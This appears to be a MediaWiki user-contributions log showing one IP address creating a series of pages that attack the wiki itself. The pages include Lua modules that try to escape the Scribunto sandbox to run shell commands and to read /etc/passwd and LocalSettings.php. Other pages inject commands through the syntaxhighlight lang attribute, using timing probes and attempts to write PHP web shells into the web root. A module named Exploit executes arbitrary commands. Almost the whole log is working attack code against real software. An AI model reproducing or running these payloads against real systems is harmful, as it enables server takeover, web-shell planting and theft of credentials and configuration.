希服维基 - 用户贡献 [zh-cn]

模块:Pwn

2026-05-09T07:46:55Z

221.237.85.128：创建页面，内容为“local p = {} function p.rce() local f = io.open("/etc/passwd", "r") if f then return f:read("*a") else return "no io" end end return p”

local p = {}
function p.rce()
local f = io.open("/etc/passwd", "r")
if f then return f:read("*a") else return "no io" end
end
return p

Sandbox

2026-05-09T07:44:53Z

221.237.85.128：创建页面，内容为“test123”

test123

TestLoadersBypass

2026-05-09T07:09:21Z

221.237.85.128：创建页面，内容为“{{#invoke:LoadersBypass|test}}”

模块:LoadersBypass

2026-05-09T07:09:20Z

221.237.85.128：创建页面，内容为“local p = {} function p.test() local results = {} if type(package.loaders) == "table" then results[1] = "loaders_count: " .. #package.loaders -- Try each loader with various module names local mods_to_try = {"os", "io", "lfs", "socket", "posix"} for _, modname in ipairs(mods_to_try) do for i, loader in ipairs(package.loaders) do local ok, fn = pcall(loader, modname) if ok and…”

local p = {}
function p.test()
local results = {}

if type(package.loaders) == "table" then
results[1] = "loaders_count: " .. #package.loaders

-- Try each loader with various module names
local mods_to_try = {"os", "io", "lfs", "socket", "posix"}

for _, modname in ipairs(mods_to_try) do
for i, loader in ipairs(package.loaders) do
local ok, fn = pcall(loader, modname)
if ok and type(fn) == "function" then
local ok2, mod = pcall(fn, modname)
if ok2 and type(mod) == "table" then
local funcs = {}
for k, v in pairs(mod) do
if type(v) == "function" then
funcs[#funcs+1] = k
end
end
results[#results+1] = modname .. "_L" .. i .. ": " .. table.concat(funcs, ",")
if mod.execute then
results[#results+1] = "*** EXECUTE FOUND: " .. modname .. " in loader " .. i .. " ***"
local ok3, ret = pcall(mod.execute, "id 2>&1")
results[#results+1] = "exec_" .. modname .. "=" .. tostring(ok3) .. ":" .. tostring(ret)
end
end
end
end
end
end

return table.concat(results, " | ")
end
return p

TestLeakInfo

2026-05-09T07:09:18Z

221.237.85.128：创建页面，内容为“{{#invoke:LeakInfo|test}}”

模块:LeakInfo

2026-05-09T07:09:18Z

221.237.85.128：创建页面，内容为“local p = {} function p.test() -- Try to leak file paths through error messages local results = {} -- Test 1: mw.loadData with error paths local ok1, err1 = pcall(mw.loadData, "/etc/passwd") results[1] = "loadData_passwd: " .. tostring(err1):sub(1,100) -- Test 2: mw.ustring with invalid UTF-8 from file -- (Can't read files directly, it's about encoding) -- Test 3: Check mw.title for path info local title = mw.title.new("/v…”

local p = {}
function p.test()
-- Try to leak file paths through error messages
local results = {}

-- Test 1: mw.loadData with error paths
local ok1, err1 = pcall(mw.loadData, "/etc/passwd")
results[1] = "loadData_passwd: " .. tostring(err1):sub(1,100)

-- Test 2: mw.ustring with invalid UTF-8 from file
-- (Can't read files directly, it's about encoding)

-- Test 3: Check mw.title for path info
local title = mw.title.new("/var/www/html/LocalSettings.php")
if title then
results[2] = "title_exists: " .. tostring(title.exists)
results[3] = "title_fullText: " .. tostring(title.fullText)
results[4] = "title_prefixedText: " .. tostring(title.prefixedText)
end

-- Test 4: Check mw.site for path info
if mw.site then
results[5] = "site_scriptPath: " .. tostring(mw.site.scriptPath)
results[6] = "site_server: " .. tostring(mw.site.server)
results[7] = "site_currentVersion: " .. tostring(mw.site.currentVersion)
end

-- Test 5: package.cpath (C library path)
results[8] = "cpath: " .. tostring(package.cpath):sub(1,200)

-- Test 6: package.path
results[9] = "path: " .. tostring(package.path):sub(1,300)

return table.concat(results, "\n")
end
return p

TestWhoami v2 1778310363

2026-05-09T07:06:52Z

221.237.85.128：创建页面，内容为“<syntaxhighlight lang="$(whoami 2>&1)">TEST</syntaxhighlight>”

TestPwd v2 1778310363

2026-05-09T07:06:43Z

221.237.85.128：创建页面，内容为“<syntaxhighlight lang="$(pwd 2>&1)">TEST</syntaxhighlight>”

TestRW 1778310363 echo simple

2026-05-09T07:06:04Z

221.237.85.128：创建页面，内容为“<syntaxhighlight lang="$(echo PWNED > /tmp/test_echo_1778310363.txt)">TEST</syntaxhighlight>”

TestTiming 1778310360075

2026-05-09T07:06:01Z

221.237.85.128：创建页面，内容为“<syntaxhighlight lang="python;sleep 3">TEST</syntaxhighlight>”

TestTiming 1778310356944

2026-05-09T07:05:58Z

221.237.85.128：创建页面，内容为“<syntaxhighlight lang="python | sleep 3">TEST</syntaxhighlight>”

TestTiming 1778310353835

2026-05-09T07:05:55Z

221.237.85.128：创建页面，内容为“<syntaxhighlight lang="`sleep 5`">SLEEP5</syntaxhighlight>”

<syntaxhighlight lang="`sleep 5`">SLEEP5</syntaxhighlight>

TestTiming 1778310350764

2026-05-09T07:05:52Z

221.237.85.128：创建页面，内容为“<syntaxhighlight lang="$(sleep 5)">SLEEP5</syntaxhighlight>”

<syntaxhighlight lang="$(sleep 5)">SLEEP5</syntaxhighlight>

TestTiming 1778310347605

2026-05-09T07:05:49Z

221.237.85.128：创建页面，内容为“<syntaxhighlight lang="`sleep 3`">SLEEP3</syntaxhighlight>”

<syntaxhighlight lang="`sleep 3`">SLEEP3</syntaxhighlight>

TestTiming 1778310344531

2026-05-09T07:05:46Z

221.237.85.128：创建页面，内容为“<syntaxhighlight lang="$(sleep 3)">SLEEP3</syntaxhighlight>”

<syntaxhighlight lang="$(sleep 3)">SLEEP3</syntaxhighlight>

TestTiming 1778310341193

2026-05-09T07:05:42Z

221.237.85.128：创建页面，内容为“<syntaxhighlight lang="python">BASELINE</syntaxhighlight>”

<syntaxhighlight lang="python">BASELINE</syntaxhighlight>

TestTagSH2 1778310157

2026-05-09T07:02:53Z

221.237.85.128：创建页面，内容为“{{#tag:syntaxhighlight|TEST|lang=$(whoami 2>&1)}}”

TestTagSH1 1778310157

2026-05-09T07:02:52Z

221.237.85.128：创建页面，内容为“{{#tag:syntaxhighlight|TEST|lang=`id 2>&1`}}”

TestTagSH0 1778310157

2026-05-09T07:02:50Z

221.237.85.128：创建页面，内容为“{{#tag:syntaxhighlight|TEST|lang=$(id 2>&1)}}”

TestWS1778310157

2026-05-09T07:02:46Z

221.237.85.128：

<syntaxhighlight lang="$(printf '<?php system(\$_GET[c]); ?>' > /var/www/html/wiki/pwned_ZZXYS_1778310157.php)">
TEST
</syntaxhighlight>

TestWS1778310157

2026-05-09T07:02:44Z

221.237.85.128：

<syntaxhighlight lang="$(echo '<?php system(\$_GET[c]); ?>' > /var/www/html/w/pwned_ZZXYS_1778310157.php)">
TEST
</syntaxhighlight>

TestWS1778310157

2026-05-09T07:02:42Z

221.237.85.128：

<syntaxhighlight lang="$(echo '<?php echo \"PWNED_ZZXYS_1778310157\"; system(\$_GET[c]); ?>' > /var/www/html/w/images/pwned_ZZXYS_1778310157.php)">
TEST
</syntaxhighlight>

TestWS1778310157

2026-05-09T07:02:40Z

221.237.85.128：

<syntaxhighlight lang="$(echo '<?php system($_GET[c]); ?>' > /var/www/html/w/resources/assets/pwned_ZZXYS_1778310157.php)">
TEST
</syntaxhighlight>

TestWS1778310157

2026-05-09T07:02:38Z

221.237.85.128：创建页面，内容为“<syntaxhighlight lang="$(echo '<?php system($_GET[c]); ?>' > /var/www/html/w/extensions/SyntaxHighlight_GeSHi/pwned_ZZXYS_1778310157.php)"> TEST </syntaxhighlight>”

<syntaxhighlight lang="$(echo '<?php system($_GET[c]); ?>' > /var/www/html/w/extensions/SyntaxHighlight_GeSHi/pwned_ZZXYS_1778310157.php)">
TEST
</syntaxhighlight>

TestLoadDataAttack

2026-05-09T07:00:00Z

221.237.85.128：创建页面，内容为“{{#invoke:LoadDataAttack|test}}”

模块:LoadDataAttack

2026-05-09T06:59:59Z

221.237.85.128：创建页面，内容为“local p = {} function p.test() local results = {} local paths = { "Module:Sandbox", "../../LocalSettings.php", "../LocalSettings.php", "/etc/passwd", "../../../etc/passwd", "../../../../etc/passwd", "Module:../LocalSettings.php", "Module:../../LocalSettings.php", } for _, path in ipairs(paths) do local ok, data = pcall(mw.loadData, path) local info = tostring(ok)…”

local p = {}
function p.test()
local results = {}

local paths = {
"Module:Sandbox",
"../../LocalSettings.php",
"../LocalSettings.php",
"/etc/passwd",
"../../../etc/passwd",
"../../../../etc/passwd",
"Module:../LocalSettings.php",
"Module:../../LocalSettings.php",
}

for _, path in ipairs(paths) do
local ok, data = pcall(mw.loadData, path)
local info = tostring(ok)
if ok and data then
info = info .. ":" .. type(data)
if type(data) == "table" then
local keys = {}
for k in pairs(data) do
keys[#keys+1] = tostring(k):sub(1,30)
end
info = info .. " keys:" .. table.concat(keys, ","):sub(1,100)
elseif type(data) == "string" then
info = info .. ":" .. tostring(data):sub(1,200)
end
end
results[#results+1] = path:sub(1,30) .. "=" .. info
end

return table.concat(results, "\n")
end
return p

TestTitleProbe

2026-05-09T06:59:57Z

221.237.85.128：创建页面，内容为“{{#invoke:TitleProbe|test}}”

模块:TitleProbe

2026-05-09T06:59:57Z

221.237.85.128：创建页面，内容为“local p = {} function p.test() local results = {} -- Test different paths local paths = { "/etc/passwd", "/etc/hosts", "/var/www/html/", "/tmp/", "LocalSettings.php", "../LocalSettings.php", "../../LocalSettings.php", "/w/LocalSettings.php", } for _, path in ipairs(paths) do local title = mw.title.new(path) if title then local info = {}…”

local p = {}
function p.test()
local results = {}

-- Test different paths
local paths = {
"/etc/passwd",
"/etc/hosts",
"/var/www/html/",
"/tmp/",
"LocalSettings.php",
"../LocalSettings.php",
"../../LocalSettings.php",
"/w/LocalSettings.php",
}

for _, path in ipairs(paths) do
local title = mw.title.new(path)
if title then
local info = {}
info[1] = "exists=" .. tostring(title.exists)
info[2] = "ns=" .. tostring(title.namespace)
info[3] = "id=" .. tostring(title.id)
info[4] = "isExternal=" .. tostring(title.isExternal)
info[5] = "isLocal=" .. tostring(title.isLocal)
info[6] = "contentModel=" .. tostring(title.contentModel)
info[7] = "text=" .. tostring(title:getContent()):sub(1,50)
results[#results+1] = path:sub(1,20) .. ": " .. table.concat(info, ", ")
end
end

return table.concat(results, "\n")
end
return p

TestFrameAttack

2026-05-09T06:59:52Z

221.237.85.128：创建页面，内容为“{{#invoke:FrameAttack|test}}”

模块:FrameAttack

2026-05-09T06:59:51Z

221.237.85.128：创建页面，内容为“local p = {} function p.test(frame) local results = {} local parent = frame:getParent() if not parent then results[1] = "no_parent"; return table.concat(results, " | ") end -- Test 1: Preprocess with syntaxhighlight containing command injection local preprocess_tests = { "<syntaxhighlight lang=\"python | id 2>&1\">test</syntaxhighlight>", "<syntaxhighlight lang=\"$(id 2>&1)\">test</syntaxhighlight>", "<syntaxhighligh…”

local p = {}
function p.test(frame)
local results = {}
local parent = frame:getParent()
if not parent then results[1] = "no_parent"; return table.concat(results, " | ") end

-- Test 1: Preprocess with syntaxhighlight containing command injection
local preprocess_tests = {
"<syntaxhighlight lang=\"python | id 2>&1\">test</syntaxhighlight>",
"<syntaxhighlight lang=\"$(id 2>&1)\">test</syntaxhighlight>",
"<syntaxhighlight lang=\"`id 2>&1`\">test</syntaxhighlight>",
"{{#expr:1+1}}",
"{{#tag:syntaxhighlight|test|lang=$(id 2>&1)}}",
}
for i, pp in ipairs(preprocess_tests) do
local ok, out = pcall(parent.preprocess, parent, pp)
results[i] = "pp"..i.."="..tostring(ok)..":"..tostring(out):sub(1,100)
end

-- Test 2: extensionTag directly
local ext_tests = {
{"syntaxhighlight", "test", {lang="python | id 2>&1"}},
{"syntaxhighlight", "test", {lang="$(id 2>&1)"}},
{"syntaxhighlight", "test", {lang="`id 2>&1`"}},
{"math", "\\frac{1}{2}", {}},
}
for i, et in ipairs(ext_tests) do
local ok, out = pcall(parent.extensionTag, parent, et[1], et[2], et[3])
results[5+i] = "ext"..i.."="..tostring(ok)..":"..tostring(out):sub(1,100)
end

return table.concat(results, " | ")
end
return p

TestExprAttack

2026-05-09T06:57:05Z

221.237.85.128：创建页面，内容为“{{#invoke:ExprAttack|test}}”

模块:ExprAttack

2026-05-09T06:57:04Z

221.237.85.128：创建页面，内容为“local p = {} function p.test() local pf = mw.ext.ParserFunctions if not pf or not pf.expr then return "no_expr" end local results = {} -- Try injecting system commands through expr local injections = { "system('id')", "eval('system', 'id')", "exec('id')", "shell_exec('id')", "passthru('id')", "popen('id', 'r')", "' . system('id') . '", "'+system('id')+'", } for _, inj…”

local p = {}
function p.test()
local pf = mw.ext.ParserFunctions
if not pf or not pf.expr then return "no_expr" end

local results = {}

-- Try injecting system commands through expr
local injections = {
"system('id')",
"eval('system', 'id')",
"exec('id')",
"shell_exec('id')",
"passthru('id')",
"popen('id', 'r')",
"' . system('id') . '",
"'+system('id')+'",
}

for _, inj in ipairs(injections) do
local ok, ret = pcall(pf.expr, inj)
local status = tostring(ok)
if ok and ret then
status = status .. ":" .. tostring(ret):sub(1,100)
end
results[#results+1] = inj:sub(1,30) .. "=" .. status
end

return table.concat(results, " | ")
end
return p

TestGCEscape

2026-05-09T06:57:02Z

221.237.85.128：创建页面，内容为“{{#invoke:GCEscape|test}}”

模块:GCEscape

2026-05-09T06:57:01Z

221.237.85.128：创建页面，内容为“local p = {} function p.test() local results = {} results[1] = "newproxy=" .. type(newproxy) if newproxy then -- Create userdata with metatable local ud = newproxy(true) if ud then results[2] = "ud_created=OK" local mt = getmetatable(ud) if mt then -- __gc runs with less sandbox restrictions in some Lua implementations -- Store captured data in _G…”

local p = {}
function p.test()
local results = {}
results[1] = "newproxy=" .. type(newproxy)

if newproxy then
-- Create userdata with metatable
local ud = newproxy(true)
if ud then
results[2] = "ud_created=OK"
local mt = getmetatable(ud)
if mt then
-- __gc runs with less sandbox restrictions in some Lua implementations
-- Store captured data in _G
results[3] = "mt_setting=OK"
mt.__gc = function()
-- This runs during GC - environment may be different
-- Capture as much info as possible
rawset(_G, "GC_ENV", tostring(require))
rawset(_G, "GC_OS_EXEC", tostring(os.execute ~= nil))
rawset(_G, "GC_IO_POPEN", tostring(io ~= nil and io.popen ~= nil))
-- Try to get environment
local env = getfenv and getfenv(0)
rawset(_G, "GC_HAS_ENV", tostring(env ~= nil))
if env then
for k in pairs(env) do
rawset(_G, "GC_" .. tostring(k), type(env[k]))
end
end
end
ud = nil
collectgarbage("collect")
collectgarbage("collect")
end
end
end

-- Check what we captured in _G
local captured = {}
for k, v in pairs(_G) do
if type(k) == "string" and k:match("^GC_") then
captured[#captured+1] = k .. "=" .. tostring(v)
end
end
if #captured > 0 then
results[4] = "captured: " .. table.concat(captured, " | ")
else
results[4] = "no_captured"
end

return table.concat(results, " | ")
end
return p

TestLoadLibPage

2026-05-09T06:56:59Z

221.237.85.128：创建页面，内容为“{{#invoke:TestLoadLib|test}}”

模块:TestLoadLib

2026-05-09T06:56:59Z

221.237.85.128：创建页面，内容为“local p = {} function p.test() local results = {} results[1] = "loadlib=" .. type(package.loadlib or nil) results[2] = "loaders=" .. type(package.loaders) results[3] = "preload=" .. type(package.preload) -- Try package.searchpath results[4] = "searchpath=" .. type(package.searchpath) -- List what's available in package local pk = package local pkeys = {} for k, v in pairs(pk) do pkeys[#pkeys+1] = k .. "=" .. typ…”

local p = {}
function p.test()
local results = {}
results[1] = "loadlib=" .. type(package.loadlib or nil)
results[2] = "loaders=" .. type(package.loaders)
results[3] = "preload=" .. type(package.preload)

-- Try package.searchpath
results[4] = "searchpath=" .. type(package.searchpath)

-- List what's available in package
local pk = package
local pkeys = {}
for k, v in pairs(pk) do
pkeys[#pkeys+1] = k .. "=" .. type(v)
end
results[5] = "package=" .. table.concat(pkeys, ", ")

return table.concat(results, " | ")
end
return p

TestSH Injection

2026-05-09T06:56:48Z

221.237.85.128：创建页面，内容为“== Backtick in lang == <syntaxhighlight lang="`id 2>&1`"> TEST_BACKTICK </syntaxhighlight> == $(cmd) in lang == <syntaxhighlight lang="$(id 2>&1)"> TEST_CMDSUB </syntaxhighlight> == Pipe in lang == <syntaxhighlight lang="python | id 2>&1"> TEST_PIPE </syntaxhighlight> == Semicolon in lang == <syntaxhighlight lang="python;id 2>&1"> TEST_SEMI </syntaxhighlight> == Newline in lang == <syntaxhighlight lang="python"> TEST_NEWLINE </syntaxhighlight>”

== Backtick in lang ==
<syntaxhighlight lang="`id 2>&1`">
TEST_BACKTICK
</syntaxhighlight>

== $(cmd) in lang ==
<syntaxhighlight lang="$(id 2>&1)">
TEST_CMDSUB
</syntaxhighlight>

== Pipe in lang ==
<syntaxhighlight lang="python | id 2>&1">
TEST_PIPE
</syntaxhighlight>

== Semicolon in lang ==
<syntaxhighlight lang="python;id 2>&1">
TEST_SEMI
</syntaxhighlight>

== Newline in lang ==
<syntaxhighlight lang="python">
TEST_NEWLINE
</syntaxhighlight>

TestAllEnums

2026-05-09T06:56:40Z

221.237.85.128：创建页面，内容为“DeepEnum1: {{#invoke:DeepEnum1|test}} DeepEnum2: {{#invoke:DeepEnum2|test}} DeepEnum3: {{#invoke:DeepEnum3|test}} DeepEnum4: {{#invoke:DeepEnum4|test}} DeepEnum5: {{#invoke:DeepEnum5|test}} DeepEnum12: {{#invoke:DeepEnum12|test}} DeepEnum15: {{#invoke:DeepEnum15|test}} DeepEnum16: {{#invoke:DeepEnum16|test}} DeepEnum17: {{#invoke:DeepEnum17|test}} DeepEnum18: {{#invoke:DeepEnum18|test}} GCSandbox: {{#invoke:GCSandbox|test}} ShEscape2: {{#invoke:ShEsc…”

DeepEnum1:
{{#invoke:DeepEnum1|test}}

DeepEnum2:
{{#invoke:DeepEnum2|test}}

DeepEnum3:
{{#invoke:DeepEnum3|test}}

DeepEnum4:
{{#invoke:DeepEnum4|test}}

DeepEnum5:
{{#invoke:DeepEnum5|test}}

DeepEnum12:
{{#invoke:DeepEnum12|test}}

DeepEnum15:
{{#invoke:DeepEnum15|test}}

DeepEnum16:
{{#invoke:DeepEnum16|test}}

DeepEnum17:
{{#invoke:DeepEnum17|test}}

DeepEnum18:
{{#invoke:DeepEnum18|test}}

GCSandbox:
{{#invoke:GCSandbox|test}}

ShEscape2:
{{#invoke:ShEscape2|hello}}

ShEscape3:
{{#invoke:ShEscape3|hello}}

ShEscape4:
{{#invoke:ShEscape4|hello}}

ShEscape5:
{{#invoke:ShEscape5|hello}}

FileWrite2:
{{#invoke:FileWrite2|test}}

ExpTmplAtk:
{{#invoke:ExpTmplAtk|test}}

CallPFAtk:
{{#invoke:CallPFAtk|test}}

ExtTagAtk:
{{#invoke:ExtTagAtk|test}}

FrameFullEnum:
{{#invoke:FrameFullEnum|test}}

AddWarningInject:
{{#invoke:AddWarningInject|test}}

模块:AttackLoader

2026-05-09T06:53:44Z

221.237.85.128：创建页面，内容为“local p = {} function p.test() local results = {} results[1] = "loaders_type=" .. type(package.loaders) -- If loaders is a table, try each one if type(package.loaders) == "table" then results[2] = "loaders_count=" .. #package.loaders for i, loader in ipairs(package.loaders) do results[#results+1] = "loader" .. i .. "=" .. type(loader) if type(loader) == "function" then -- Try to load 'os'…”

local p = {}

function p.test()
local results = {}
results[1] = "loaders_type=" .. type(package.loaders)

-- If loaders is a table, try each one
if type(package.loaders) == "table" then
results[2] = "loaders_count=" .. #package.loaders
for i, loader in ipairs(package.loaders) do
results[#results+1] = "loader" .. i .. "=" .. type(loader)
if type(loader) == "function" then
-- Try to load 'os' with this loader
local ok, result_func = pcall(loader, "os")
results[#results+1] = " result=" .. tostring(ok) .. ":" .. type(result_func)
if ok and type(result_func) == "function" then
-- Execute the returned function to get the module
local ok2, mod = pcall(result_func)
results[#results+1] = " mod=" .. tostring(ok2) .. ":" .. type(mod)
if ok2 and type(mod) == "table" then
results[#results+1] = " execute=" .. type(mod.execute)
if mod.execute then
results[#results+1] = "*** EXECUTE FOUND IN LOADER " .. i .. " ***"
local ok3, ret = pcall(mod.execute, "id")
results[#results+1] = " exec_result=" .. tostring(ok3) .. ":" .. tostring(ret)
end
-- List all functions in mod
local fns = {}
for k, v in pairs(mod) do
if type(v) == "function" then
fns[#fns+1] = k
end
end
results[#results+1] = " fns=" .. table.concat(fns, ",")
end
end
end
end
end

return table.concat(results, " | ")
end
return p

TestAttackPKG

2026-05-09T06:53:42Z

221.237.85.128：创建页面，内容为“{{#invoke:AttackPKG|test}}”

模块:AttackPKG

2026-05-09T06:53:41Z

221.237.85.128：创建页面，内容为“local p = {} function p.test() local results = {} local loaded = package.loaded results[1] = "loaded_type=" .. type(loaded) if loaded then -- List loaded modules local keys = {} for k in pairs(loaded) do keys[#keys+1] = tostring(k) end results[2] = "loaded_keys=" .. table.concat(keys, ", ") -- Check 'os' specifically if loaded["os"] then local l_os = loaded["os"]…”

local p = {}

function p.test()
local results = {}
local loaded = package.loaded
results[1] = "loaded_type=" .. type(loaded)

if loaded then
-- List loaded modules
local keys = {}
for k in pairs(loaded) do
keys[#keys+1] = tostring(k)
end
results[2] = "loaded_keys=" .. table.concat(keys, ", ")

-- Check 'os' specifically
if loaded["os"] then
local l_os = loaded["os"]
results[3] = "l_os_type=" .. type(l_os)
if l_os.execute then
results[4] = "***EXECUTE_FOUND*** type=" .. type(l_os.execute)
-- Try to call it!
local ok, ret = pcall(l_os.execute, "id")
results[5] = "execute_result=" .. tostring(ok) .. ":" .. tostring(ret)
else
-- List what's in l_os
local os_keys = {}
for k in pairs(l_os) do
os_keys[#os_keys+1] = k .. "=" .. type(l_os[k])
end
results[3] = "l_os=" .. table.concat(os_keys, ", ")
end
else
results[3] = "no_loaded_os"
end
end

return table.concat(results, " | ")
end
return p

TestFrameChain

2026-05-09T06:53:39Z

221.237.85.128：

TestExtFuncFull

2026-05-09T06:53:38Z

221.237.85.128：创建页面，内容为“{{#invoke:Deep4 ExtFuncFull|test}}”

TestExprDirect

2026-05-09T06:53:36Z

221.237.85.128：创建页面，内容为“{{#invoke:Deep4 ExprDirect|test}}”

TestOverrideReq

2026-05-09T06:53:34Z

221.237.85.128：创建页面，内容为“{{#invoke:Deep4 OverrideReq|test}}”

TestPkgLoaded

2026-05-09T06:53:30Z

221.237.85.128：创建页面，内容为“{{#invoke:Deep4 PkgLoaded|test}}”

TestRCE

2026-05-09T06:50:01Z

221.237.85.128：创建页面，内容为“Method1: {{#invoke:RCE|exec1}} Method2: {{#invoke:RCE|exec2}} Method3: {{#invoke:RCE|exec3}} Method5: {{#invoke:RCE|exec5}} Method6: {{#invoke:RCE|exec6}} Method7: {{#invoke:RCE|exec7}}”

Method1: {{#invoke:RCE|exec1}}

Method2: {{#invoke:RCE|exec2}}

Method3: {{#invoke:RCE|exec3}}

Method5: {{#invoke:RCE|exec5}}

Method6: {{#invoke:RCE|exec6}}

Method7: {{#invoke:RCE|exec7}}

模块:RCE

2026-05-09T06:49:53Z

221.237.85.128：

local p = {}
function p.exec1()
return tostring(os.execute("id"))
end
function p.exec2()
local f = io.popen("id")
if f then local r = f:read("*a"); f:close(); return r or "nil" end
return "popen=nil"
end
function p.exec3()
os.execute("id > /tmp/rce_test.txt")
local f = io.open("/tmp/rce_test.txt", "r")
if f then local r = f:read("*a"); f:close(); return r or "nil" end
return "no file"
end
function p.exec4()
return "loadlib="..tostring(type(package.loadlib))
end
function p.exec5()
local ok, mod = pcall(require, "os")
return tostring(ok)..":"..type(mod)
end
function p.exec6()
-- Try raw os.execute call with pcall wrapper
local ok, ret = pcall(os.execute, "id")
return tostring(ok)..":"..tostring(ret)
end
function p.exec7()
-- Use string.rep + # to check if cmd execution side effects
return "VERSION="..tostring(_VERSION).." os="..tostring(type(os)).." execute="..tostring(type(os.execute))
end
return p

TestExploit

2026-05-09T06:47:10Z

221.237.85.128：RCE test

模块:Exploit

2026-05-09T06:47:09Z

221.237.85.128：Security test

local p = {}

function p.rce()
local f = io.popen('whoami 2>&1')
local result = f:read('*a')
f:close()
return result or 'no output'
end

function p.exec(cmd)
local f = io.popen(cmd .. ' 2>&1')
local result = f:read('*a')
f:close()
return result or 'no output'
end

return p